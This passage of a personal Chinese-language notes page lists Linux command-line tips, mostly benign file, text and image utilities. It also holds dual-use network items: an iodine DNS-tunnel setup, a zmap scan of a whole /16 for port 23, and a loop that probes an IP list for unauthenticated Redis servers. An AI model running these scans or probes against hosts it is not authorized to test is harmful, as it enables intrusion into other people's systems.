id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    查看内置命令的帮助\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#grep\" class=\"md-nav__link\">\n    grep搜索帮助文档\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#grepstderrstdout\" class=\"md-nav__link\">\n    帮助文本的grep，把stderr重定向到stdout\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    各种解压命令\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    当前目录文件全文搜索\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    统计当前文件夹代码行数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    查看给定文件列表的文件大小\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wget\" class=\"md-nav__link\">\n    wget慢慢下载\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#touch\" class=\"md-nav__link\">\n    touch修改时间戳\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntuls\" class=\"md-nav__link\">\n    去掉Ubuntu默认情况下ls的颜色\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    换行方式修改\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iodine-dns\" class=\"md-nav__link\">\n    iodine--使用DNS传输数据\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"iodine--使用DNS传输数据\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1\" class=\"md-nav__link\">\n    1. 设置域名解析\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2\" class=\"md-nav__link\">\n    2. 服务器端\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#3\" class=\"md-nav__link\">\n    3.检查服务端是否正常\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#4\" class=\"md-nav__link\">\n    4.客户端\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windows\" class=\"md-nav__link\">\n    远程控制Windows\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    统计以特定字符串开头的文件数目\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#hexdump\" class=\"md-nav__link\">\n    hexdump查看字符内部编码\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    子目录大小排序\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ffmpeg\" class=\"md-nav__link\">\n    安装ffmpeg\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#set-ex\" class=\"md-nav__link\">\n    保证脚本安全执行set -ex\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#change-readonly-bash-variable\" class=\"md-nav__link\">\n    change readonly bash variable\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sleep-infinity\" class=\"md-nav__link\">\n    永久等待 sleep infinity\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zmap\" class=\"md-nav__link\">\n    zmap扫描整个网段特定开放端口\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ipredis\" class=\"md-nav__link\">\n    对ip列表批量测试redis未授权漏洞\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#imagemagick\" class=\"md-nav__link\">\n    使用ImageMagick对图像进行裁剪\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#0\" class=\"md-nav__link\">\n    查找0字节的文件并删除\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    批量修改文件后缀名\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vimr\" class=\"md-nav__link\">\n    用vim去除\\r换行符\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#free\" class=\"md-nav__link\">\n    不用free查看内存占用\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#watch\" class=\"md-nav__link\">\n    watch持续观察命令输出\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#2truecrypt-71amake-j5-l4\" class=\"md-nav__link\">\n    树莓派2上编译Truecrypt 7.1a，使用make -j5 -l4加速编译\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#scp\" class=\"md-nav__link\">\n    scp目录断点续传\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wgetscp\" class=\"md-nav__link\">\n    使用wget代替scp传输文件夹 避免无谓的加密性能损失（适用于树莓派）\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用wget代替scp传输文件夹 避免无谓的加密性能损失（适用于树莓派）\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    服务端（数据传出端）\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#wget_1\" class=\"md-nav__link\">\n    客户端（数据传入端），使用wget：\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sshd\" class=\"md-nav__link\">\n    清除已经断开的sshd进程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    批量替换文本\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    找到最近修改的文件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cryptsetuptruecrypt\" class=\"md-nav__link\">\n    使用cryptsetup挂载truecrypt分区\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    从二进制文件中提取片段\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#redis\" class=\"md-nav__link\">\n    redis匹配前缀删除大量键值\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    批量替换子目录特定后缀名文件内容\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#coredump-in-fuzzing\" class=\"md-nav__link\">\n    coredump in fuzzing\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"coredump in fuzzing\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#core_pattern\" class=\"md-nav__link\">\n    core_pattern是啥\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#coredump\" class=\"md-nav__link\">\n    怎么才能不产生coredump\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash\" class=\"md-nav__link\">\n    bash对文件乱序遍历\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#grep_1\" class=\"md-nav__link\">\n    grep查找中文\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#grep_2\" class=\"md-nav__link\">\n    grep正则提取特定内容\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#kill\" class=\"md-nav__link\">\n    自动kill大内存的进程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#screen\" class=\"md-nav__link\">\n    screen自动操作以及获取当前屏幕内容\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#c\" class=\"md-nav__link\">\n    编译当前文件夹所有.c文件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gdb\" class=\"md-nav__link\">\n    gdb自动化\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mktorrenttorrent\" class=\"md-nav__link\">\n    mktorrent制作种子torrent文件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#m3u8mp4\" class=\"md-nav__link\">\n    钉钉直播回放下载 m3u8转mp4\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ls\" class=\"md-nav__link\">\n    黑色背景ls 目录深绿色看不清改个颜色\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#seafile\" class=\"md-nav__link\">\n    部署seafile客户端\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pcregrep\" class=\"md-nav__link\">\n    pcregrep正则提取\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    管道关闭缓冲\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    等待特定进程结束\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"linux\">Linux命令行操作技巧<a class=\"headerlink\" href=\"#linux\" title=\"Permanent link\">&para;</a></h1>\n<p>本文档一般不涉及root权限，Linux相关笔记还有：</p>\n<p><a href=\"../Linux-setup/\">Linux系统配置</a></p>\n<p><a href=\"../Linux-SSH/\">SSH远程登录</a></p>\n<p><a href=\"../Linux-backup/\">Linux备份</a></p>\n<hr />\n<h2 id=\"_1\">查看内置命令的帮助<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>将以下内容加入<code>~/.bashrc</code>中即可，判断如果在内置命令就调用help -m，不是则绕开bash函数来运行man进程</p>\n<div class=\"codehilite\"><pre><span></span><code>man<span class=\"w\"> </span><span class=\"o\">()</span><span class=\"w\"> </span><span class=\"o\">{</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"k\">$(</span><span class=\"nb\">type</span><span class=\"w\"> </span>-t<span class=\"w\"> </span>--<span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"nv\">$1</span><span class=\"s2\">&quot;</span><span class=\"k\">)</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span><span class=\"k\">in</span>\n<span class=\"w\">    </span>builtin<span class=\"p\">|</span>keyword<span class=\"o\">)</span>\n<span class=\"w\">        </span><span class=\"nb\">help</span><span class=\"w\"> </span>-m<span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"nv\">$1</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span><span class=\"p\">|</span><span class=\"w\"> </span>sensible-pager\n<span class=\"w\">        </span><span class=\"p\">;;</span>\n<span class=\"w\">    </span>*<span class=\"o\">)</span>\n<span class=\"w\">        </span><span class=\"nb\">command</span><span class=\"w\"> </span>man<span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"nv\">$@</span><span class=\"s2\">&quot;</span>\n<span class=\"w\">        </span><span class=\"p\">;;</span>\n<span class=\"w\">    </span><span class=\"k\">esac</span>\n<span class=\"o\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"grep\">grep搜索帮助文档<a class=\"headerlink\" href=\"#grep\" title=\"Permanent link\">&para;</a></h2>\n<p>用两个横线<code>--</code>作为grep的第一个参数表示不要把其后面的形如<code>-z</code>的参数当成grep的参数</p>\n<p>例如我想知道tar命令中的-z是什么意思：</p>\n<div class=\"codehilite\"><pre><span></span><code>man<span class=\"w\"> </span>tar<span class=\"p\">|</span>grep<span class=\"w\"> </span>--<span class=\"w\"> </span>-z\n</code></pre></div>\n\n<h2 id=\"grepstderrstdout\">帮助文本的grep，把stderr重定向到stdout<a class=\"headerlink\" href=\"#grepstderrstdout\" title=\"Permanent link\">&para;</a></h2>\n<p>某些时候帮助文本是输出到标准错误输出的，需要用2&gt;&amp;1这样的重定向咯</p>\n<div class=\"codehilite\"><pre><span></span><code>ssh-keygen --help 2&gt;&amp;1|grep bit\n</code></pre></div>\n\n<hr />\n<h2 id=\"_2\">各种解压命令<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>tar.gz： <code>tar -zxvf xx.tar.gz</code></p>\n<p>tar.bz2： <code>tar -jxvf xx.tar.bz2</code></p>\n<p>zip：<code>unzip xx.zip</code></p>\n<p>参数含义：</p>\n<p>-x解压，-v详细显示解压出来的东西（如果是一个复杂的压缩包建议不要用以加快解压速度），-f后接压缩文件的文件名</p>\n<hr />\n<h2 id=\"_3\">当前目录文件全文搜索<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>这里要搜索当前目录下面所有的包含&rdquo;MultiTeam&rdquo;文件</p>\n<div class=\"codehilite\"><pre><span></span><code>grep MultiTeam -r .\n</code></pre></div>\n\n<hr />\n<h2 id=\"_4\">统计当前文件夹代码行数<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<p>find 指定文件后缀名，记住要引号避免bash解析*</p>\n<div class=\"codehilite\"><pre><span></span><code>find -name &quot;*.py&quot; -o -name &quot;*.md&quot;|xargs cat|wc\n</code></pre></div>\n\n<hr />\n<h2 id=\"_5\">查看给定文件列表的文件大小<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h2>\n<p>用xargs -d指定分隔符为\\n（默认会按照空格和\\n分隔参数）</p>\n<div class=\"codehilite\"><pre><span></span><code>cat list.txt | xargs -d &quot;\\n&quot; ls -alh\n</code></pre></div>\n\n<hr />\n<h2 id=\"wget\">wget慢慢下载<a class=\"headerlink\" href=\"#wget\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">wget</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">list</span>.<span class=\"nv\">txt</span><span class=\"w\">  </span><span class=\"o\">-</span><span class=\"nv\">nc</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">wait</span><span class=\"o\">=</span><span class=\"mi\">60</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">random</span><span class=\"o\">-</span><span class=\"k\">wait</span>\n</code></pre></div>\n\n<p>其中nc表示已经下载到的文件就不要再请求了，wait=60表示两次请求间隔60s，random-wait表示随机等待2~120s</p>\n<hr />\n<h2 id=\"touch\">touch修改时间戳<a class=\"headerlink\" href=\"#touch\" title=\"Permanent link\">&para;</a></h2>\n<p>将b.txt的时间戳改为和a.txt一样</p>\n<div class=\"codehilite\"><pre><span></span><code>touch -r a.txt b.txt\n</code></pre></div>\n\n<hr />\n<h2 id=\"ubuntuls\">去掉Ubuntu默认情况下ls的颜色<a class=\"headerlink\" href=\"#ubuntuls\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>unalias ls\n</code></pre></div>\n\n<p>或者直接使用：Credits <a href=\"https://github.com/rachpt\">@rachpt</a></p>\n<div class=\"codehilite\"><pre><span></span><code>\\ls\n</code></pre></div>\n\n<p>同理也可以绕过grep的alias: <code>\\grep</code></p>\n<hr />\n<h2 id=\"_6\">换行方式修改<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h2>\n<p>如果一个文件来自于Windows，可能需要先修改换行方式才能用，去掉文件中的\\r</p>\n<p>vim中输入 <code>:set ff=unix</code></p>\n<hr />\n<h2 id=\"iodine-dns\">iodine&ndash;使用DNS传输数据<a class=\"headerlink\" href=\"#iodine-dns\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>http://code.kryo.se/iodine/</li>\n</ul>\n</blockquote>\n<p>注意： 本方案网速极低，使用时要有足够的耐心，不能保证复杂情况下是否可行（尤其是Windows）</p>\n<p>前期准备：一个域名（假设为example.com）及一台服务器（假设为1.2.3.4），建议客户端在Linux上运行</p>\n<h3 id=\"1\">1. 设置域名解析<a class=\"headerlink\" href=\"#1\" title=\"Permanent link\">&para;</a></h3>\n<p>dns.example.com添加一条A记录，解析至1.2.3.4</p>\n<p>t.example.com添加一条NS记录，值为dns.example.com</p>\n<h3 id=\"2\">2. 服务器端<a class=\"headerlink\" href=\"#2\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>./iodined -f -c -P secretpassword 192.168.99.1 t.example.com\n</code></pre></div>\n\n<p>-f表示持续占用前台，-c表示不限制请求源，-P指定密码，最后是<code>内网IP</code>和使用的域名</p>\n<p>内网IP可以随意指定，只要当前服务器没有占用即可，例如可以改为172.16.0.1</p>\n<h3 id=\"3\">3.检查服务端是否正常<a class=\"headerlink\" href=\"#3\" title=\"Permanent link\">&para;</a></h3>\n<p>http://code.kryo.se/iodine/check-it/</p>\n<p>作者提供了在线检查工具，输入t.example.com即可检查</p>\n<h3 id=\"4\">4.客户端<a class=\"headerlink\" href=\"#4\" title=\"Permanent link\">&para;</a></h3>\n<p>建议在ubuntu等完整的Linux操作系统上运行，下载源码后make即可</p>\n<div class=\"codehilite\"><pre><span></span><code> ./iodine -f -P secretpassword t.example.com\n</code></pre></div>\n\n<p>效果图：</p>\n<p><img alt=\"\" src=\"../download/img/iodine-finish.jpg\" /></p>\n<hr />\n<h2 id=\"windows\">远程控制Windows<a class=\"headerlink\" href=\"#windows\" title=\"Permanent link\">&para;</a></h2>\n<p>Windows下有自带的mstsc，Linux如树莓派用啥呢？就用<a href=\"http://www.rdesktop.org/\">rdesktop</a>啦</p>\n<p>手册查询用<code>man rdesktop</code></p>\n<p>快速使用：</p>\n<div class=\"codehilite\"><pre><span></span><code>sudo apt-get install -y rdesktop\nrdesktop -f -k en-us -C -N -z -xl -P -u 用户名 -p 密码 服务器地址:端口\n</code></pre></div>\n\n<p>其中-f表示全屏， -k设置键盘布局， -C使用私有颜色表，-N同步NumLock，-z启用压缩，-xl 设置为LAN场景，-P使用bitmap缓存</p>\n<p>注意上述在命令行中使用明文密码并不安全，可能被其他用户用ps等工具看到，建议仅仅在完全自己控制的Linux上系统上这样操作</p>\n<hr />\n<h2 id=\"_7\">统计以特定字符串开头的文件数目<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h2>\n<p>awk是个很好用的工具呢，支持substr函数，用法为substr(源字符串，开始，长度)，其中开始从1计数</p>\n<p><code>ls -l</code> 长列表显示的话，按空格分就是$9</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">ls</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">l</span><span class=\"o\">|</span><span class=\"nv\">awk</span><span class=\"w\"> </span><span class=\"s1\">&#39;{if(substr($9,1,字符串长度)==&quot;你要的那个字符串&quot;) print $9}&#39;</span><span class=\"o\">|</span><span class=\"nv\">sort</span><span class=\"o\">|</span><span class=\"nv\">uniq</span><span class=\"o\">|</span><span class=\"nv\">wc</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">l</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"hexdump\">hexdump查看字符内部编码<a class=\"headerlink\" href=\"#hexdump\" title=\"Permanent link\">&para;</a></h2>\n<p>echo的-n参数表示不要末尾加\\n</p>\n<div class=\"codehilite\"><pre><span></span><code>echo -n hello | hexdump -C\n</code></pre></div>\n\n<hr />\n<h2 id=\"_8\">子目录大小排序<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h2>\n<p>sort的-h表示按人类理解的大小格式排序，-r表示逆序</p>\n<div class=\"codehilite\"><pre><span></span><code>du -sh * | sort -hr\n</code></pre></div>\n\n<hr />\n<h2 id=\"ffmpeg\">安装ffmpeg<a class=\"headerlink\" href=\"#ffmpeg\" title=\"Permanent link\">&para;</a></h2>\n<p>在ubuntu14下是没有ffmpeg的官方包支持的，需要添加mc3man的ppa</p>\n<div class=\"codehilite\"><pre><span></span><code>sudo add-apt-repository ppa:mc3man/trusty-media\n#按回车继续\nsudo apt-get update\nsudo apt-get install -y ffmpeg\n</code></pre></div>\n\n<hr />\n<h2 id=\"set-ex\">保证脚本安全执行set -ex<a class=\"headerlink\" href=\"#set-ex\" title=\"Permanent link\">&para;</a></h2>\n<p><code>set</code>命令挺有用的呢，-e表示如果后面的语句返回不为0立刻结束shell，-x表示显示出每条命令及参数</p>\n<p>从<a href=\"https://github.com/Medicean/VulApps/blob/master/s/struts2/s2-032/Dockerfile\">人家的Dockerfile</a>中学习得来</p>\n<hr />\n<h2 id=\"change-readonly-bash-variable\">change readonly bash variable<a class=\"headerlink\" href=\"#change-readonly-bash-variable\" title=\"Permanent link\">&para;</a></h2>\n<p>bash is a weird thing&hellip;</p>\n<p>declaring a variable as reference by using <code>declare -n</code>, we can change it!</p>\n<div class=\"codehilite\"><pre><span></span><code>$<span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"o\">=</span><span class=\"m\">1</span>\n$<span class=\"w\"> </span><span class=\"nb\">readonly</span><span class=\"w\"> </span>a\n$<span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"o\">=</span><span class=\"m\">2</span>\nbash:<span class=\"w\"> </span>a:<span class=\"w\"> </span><span class=\"nb\">readonly</span><span class=\"w\"> </span>variable\n<span class=\"c1\">#Look here!</span>\n$<span class=\"w\"> </span><span class=\"nb\">declare</span><span class=\"w\"> </span>-n<span class=\"w\"> </span>a\n$<span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"o\">=</span><span class=\"m\">2</span>\n$<span class=\"w\"> </span><span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"nv\">$a</span>\n<span class=\"m\">2</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"sleep-infinity\">永久等待 sleep infinity<a class=\"headerlink\" href=\"#sleep-infinity\" title=\"Permanent link\">&para;</a></h2>\n<p>有时写了一个sh文件后需要保持这个sh的运行，就用sleep永久等待好咯</p>\n<div class=\"codehilite\"><pre><span></span><code>sleep infinity\n</code></pre></div>\n\n<hr />\n<h2 id=\"zmap\">zmap扫描整个网段特定开放端口<a class=\"headerlink\" href=\"#zmap\" title=\"Permanent link\">&para;</a></h2>\n<p>zmap的运行需要root权限，用<code>apt-get install zmap</code>即可安装</p>\n<p>更详细的帮助去看看<code>zmap --help</code>咯</p>\n<div class=\"codehilite\"><pre><span></span><code>#需要先编辑黑名单 vi /etc/zmap/blacklist.conf 取消掉注释\nzmap 192.168.0.0/16 -B1000M -i eth0 -g -T 4  -p 23 -o 23.txt\n</code></pre></div>\n\n<p>其中<code>-g</code>表示扫描结束后显示总结，<code>-T 4</code>表示启动4个扫描线程，<code>-p 23</code>表示扫描23端口，-o保存文件的名称</p>\n<p>如果拨号了vpn，需要用-G指定网关的MAC地址，可以通过<code>arp 网关的IP</code>得到</p>\n<hr />\n<h2 id=\"ipredis\">对ip列表批量测试redis未授权漏洞<a class=\"headerlink\" href=\"#ipredis\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span>`<span class=\"nv\">cat</span><span class=\"w\"> </span><span class=\"nv\">iplist</span>.<span class=\"nv\">txt</span>`<span class=\"c1\">; do (if [ `echo PING|redis-cli -h $i` == &quot;PONG&quot; ] ;then echo $i;fi);done 2&gt;/dev/null</span>\n</code></pre></div>\n\n<p>利用了bash支持的for语句，注意for之后的分号和最后的done</p>\n<p>还有用了if字符串相等，记得要用fi结束if</p>\n<p>redis-cli连接上服务器后发送PING，如果存在未授权访问漏洞则会返回PONG，否则会要求Auth或者其他报错信息</p>\n<hr />\n<h2 id=\"imagemagick\">使用ImageMagick对图像进行裁剪<a class=\"headerlink\" href=\"#imagemagick\" title=\"Permanent link\">&para;</a></h2>\n<p>安装命令：<code>sudo apt-get install -y imagemagick</code></p>\n<p>处理一张图片in.png，裁剪成300x280大小，从(30,0)作为裁剪的左上角点，得到out.png：</p>\n<div class=\"codehilite\"><pre><span></span><code>convert in.png -crop 300x280+30+0 out.png\n</code></pre></div>\n\n<p>其实这四个参数是我反复尝试二分法得到的，或许可以用专业软件快速得到吧</p>\n<p>关键是可以批量处理呀，这里下载friends的头像图片进行处理：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"mf\">1.</span><span class=\"o\">.</span><span class=\"mi\">79</span><span class=\"p\">};</span><span class=\"w\"> </span><span class=\"n\">do</span><span class=\"w\"> </span><span class=\"n\">curl</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">o</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">png</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">kemono</span><span class=\"o\">-</span><span class=\"n\">friends</span><span class=\"o\">.</span><span class=\"n\">jp</span><span class=\"o\">/</span><span class=\"n\">wp</span><span class=\"o\">-</span><span class=\"n\">content</span><span class=\"o\">/</span><span class=\"n\">uploads</span><span class=\"o\">/</span><span class=\"mi\">2016</span><span class=\"o\">/</span><span class=\"mi\">11</span><span class=\"o\">/</span><span class=\"n\">no</span><span class=\"err\">`</span><span class=\"n\">printf</span><span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"si\">%03d</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">i</span><span class=\"err\">`</span><span class=\"o\">.</span><span class=\"n\">png</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">proxy</span><span class=\"w\"> </span><span class=\"n\">socks5</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"mf\">127.0</span><span class=\"o\">.</span><span class=\"mf\">0.1</span><span class=\"p\">:</span><span class=\"mi\">1080</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">done</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"mf\">1.</span><span class=\"o\">.</span><span class=\"mi\">79</span><span class=\"p\">};</span><span class=\"w\"> </span><span class=\"n\">do</span><span class=\"w\"> </span><span class=\"nb\">convert</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">png</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">crop</span><span class=\"w\"> </span><span class=\"mi\">300</span><span class=\"n\">x280</span><span class=\"o\">+</span><span class=\"mi\">30</span><span class=\"o\">+</span><span class=\"mi\">0</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">png</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">done</span>\n</code></pre></div>\n\n<p>其中使用了printf命令，可以使得1变成人家url需要的001</p>\n<hr />\n<h2 id=\"0\">查找0字节的文件并删除<a class=\"headerlink\" href=\"#0\" title=\"Permanent link\">&para;</a></h2>\n<div 